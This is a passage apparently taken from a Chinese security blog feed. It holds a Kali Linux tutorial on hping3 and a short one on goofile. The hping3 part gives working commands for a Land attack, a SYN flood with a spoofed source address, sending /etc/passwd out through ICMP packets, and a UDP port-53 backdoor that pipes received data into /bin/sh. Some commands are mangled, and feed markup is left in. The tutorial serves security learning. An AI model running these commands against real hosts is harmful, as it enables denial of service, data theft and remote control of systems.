-W --winid 使用win* id字节顺序
-r --rel 相对id字段(估计主机流量)
-f --frag 拆分数据包更多的frag
-x --morefrag 设置更多的分段标志
-y --dontfrag 设置不分段标志
-g --fragoff 设置分段偏移
-m --mtu 设置虚拟最大传输单元
-o --tos 服务类型(默认为0x00),尝试--tos帮助
-G --rroute 包含RECORD_ROUTE选项并显示路由缓冲区
--lsrr 松散源路由并记录路由
--ssrr 严格源路由并记录路由
-H --ipproto 设置IP协议字段,仅在RAW IP模式下使用
ICMP
-C --icmptype icmp类型(默认echo请求)
-K --icmpcode icmp代号(默认0)
--force-icmp 发送所有icmp类型(默认仅发送支持的类型)
--icmp-gw 设置ICMP重定向网关地址(默认0.0.0.0)
--icmp-ts 等同 --icmp --icmptype 13 (ICMP 时间戳)
--icmp-addr 等同 --icmp --icmptype 17 (ICMP 地址子网掩码)
--icmp-help 显示其他icmp选项帮助
UDP/TCP
-s --baseport 基源端口(默认随机)
-p --destport [+][+]<port> 目的端口(默认0) ctrl+z inc/dec
-k --keep 保持源端口
-w --win windows发送字节(默认64)
-O --tcpoff 设置伪造tcp数据偏移量(取代tcp地址长度除4)
-Q --seqnum 仅显示tcp序列号
-b --badcksum (尝试)发送具有错误IP校验和数据包
许多系统将修复发送数据包的IP校验和
所以你会得到错误UDP/TCP校验和。
-M --setseq 设置TCP序列号
-L --setack 设置TCP确认
-F --fin 设置FIN标志
-S --syn 设置SYN标志
-R --rst 设置RST标志
-P --push 设置PUSH标志
-A --ack 设置ACK标志
-U --urg 设置URG标志
-X --xmas 设置X未使用的标志(0x40)
-Y --ymas 设置Y未使用的标志(0x80)
--tcpexitcode 使用last tcp-> th_flags作为退出码
--tcp-mss 启用具有给定值的TCP MSS选项
--tcp-timestamp 启用TCP时间戳选项来猜测HZ/uptime
通用
-d --data 数据大小(默认0)
-E --file 文件数据
-e --sign 添加“签名”
-j --dump 转储为十六进制数据包
-J --print 转储为可打印字符
-B --safe 启用“安全”协议
-u --end 告诉你什么时候--file达到EOF并防止倒回
-T --traceroute traceroute模式(等同使用 --bind 且--ttl 1)
--tr-stop 在traceroute模式下收到第一个不是ICMP时退出
--tr-keep-ttl 保持源TTL固定,仅用于监视一跳
--tr-no-rtt 不要在跟踪路由模式下计算/显示RTT信息 ARS包描述(新增功能,不稳定)
--apd-send 发送APD描述数据包(参见docs / APD.txt)

0x02 hping3用法示例

对于目标(www.example.com),使用跟踪路由模式(-traceroute),在ICMP模式(-1)中详细显示verbose(-V):

1
2
3
4
5
6
7
root@kali:~# hping3 --traceroute -V -1 www.example.com
using eth0, addr: 192.168.1.15, MTU: 1500
HPING www.example.com (eth0 93.184.216.119): icmp mode set, 28 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=192.168.1.1 name=UNKNOWN
hop=1 hoprtt=0.3 ms
hop=2 TTL 0 during transit from ip=192.168.0.1 name=UNKNOWN
hop=2 hoprtt=3.3 ms

0x03 hping3典型功能

防火墙测试
使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html
测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。
例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。

hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10 

端口扫描
Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。
以下示例可用于探测目标机的80端口是否开放:

hping3 -I eth0 -S 192.168.10.1 -p 80 

其中-I eth0指定使用eth0端口,-S指定TCP包的标志位SYN,-p 80指定探测的目的端口。
hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,
所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。
当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。

Idle扫描
Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,
目前Idle扫描在Nmap中也有实现。 该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),
攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),
此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,
获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

拒绝服务攻击

使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。

hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000 

其他攻击如smurf、teardrop、land attack等也很容易构建出来。

文件传输
Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。
实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。
在接收端开启服务:

hping3 192.168.1.159--listen signature --safe --icmp 

监听ICMP包中的签名,根据签名解析出文件内容。
在发送端使用签名打包的ICMP包发送文件:

hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd 

将/etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。

木马功能
如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。
示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。
在木马启动端:

hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh 

在远程控制端:

echo ls >test.cmd hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd 

将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。
当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。

]]>
#0X00-HPING3介绍0X00 HPING3介绍 hping是面向命令行的用于生成和解析TCP/IP协议数据包汇编/分析的开源工具。作者是Salvatore Sanfilippo,界面灵感来自ping(8)unix命令,目前最新版是hping3,它支持TCP,UDP,ICMP和RAW-IP协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。
Kali Linux信息收集之goofile https://hackfun.org/2017/04/23/Kali-Linux信息收集之goofile/ 2017-04-22T22:24:00.000Z 2017-10-02T19:22:31.931Z 0x00 goofile介绍

视频介绍:https://asciinema.org/a/31264
使用此工具可以在给定的域中搜索特定的文件类型。

goofile主页 | Kali goofile仓库

  • 作者:Thomas Richards
  • 证书:MIT

0x01 goofile功能

golismero - Web应用程序映射器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~# goofile
-------------------------------------
|Goofile v1.5 |
|Coded by Thomas (G13) Richards |
|www.g13net.com |
|code.google.com/p/goofile |
-------------------------------------
Goofile 1.5
用法: goofile [选项]
-d: 指定域名
-f: 指定文件类型 (扩展名如:pdf)
示例:./goofile.py -d test.com -f txt

0x02 goofile用法示例

搜索域名(-d kali.org)中的PDF文件(-f pdf):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root@kali:~# goofile -d kali.org -f pdf
-------------------------------------
|Goofile v1.5 |
|Coded by Thomas (G13) Richards |
|www.g13net.com |
|code.google.com/p/goofile |
-------------------------------------
Searching in kali.org for pdf
========================================
Files found:
====================
docs.kali.org/pdf/kali-book-fr.pdf
docs.kali.org/pdf/kali-book-es.pdf
docs.kali.org/pdf/kali-book-id.pdf
docs.kali.org/pdf/kali-book-de.pdf
docs.kali.org/pdf/kali-book-it.pdf
docs.kali.org/pdf/kali-book-ar.pdf
docs.kali.org/pdf/kali-book-ja.pdf
docs.kali.org/pdf/kali-book-nl.pdf
docs.kali.org/pdf/kali-book-ru.pdf
docs.kali.org/pdf/kali-book-en.pdf
docs.kali.org/pdf/kali-book-pt-br.pdf
docs.kali.org/pdf/kali-book-zh-hans.pdf
docs.kali.org/pdf/kali-book-sw.pdf
docs.kali.org/pdf/articles/kali-linux-live-usb-install-en.pdf
====================

]]>
#0X00-GOOFILE介绍0X00 GOOFILE介绍 视频介绍:https://asciinema.org/a/31264 [https://asciinema.org/a/31264] 使用此工具可以在给定的域中搜索特定的文件类型。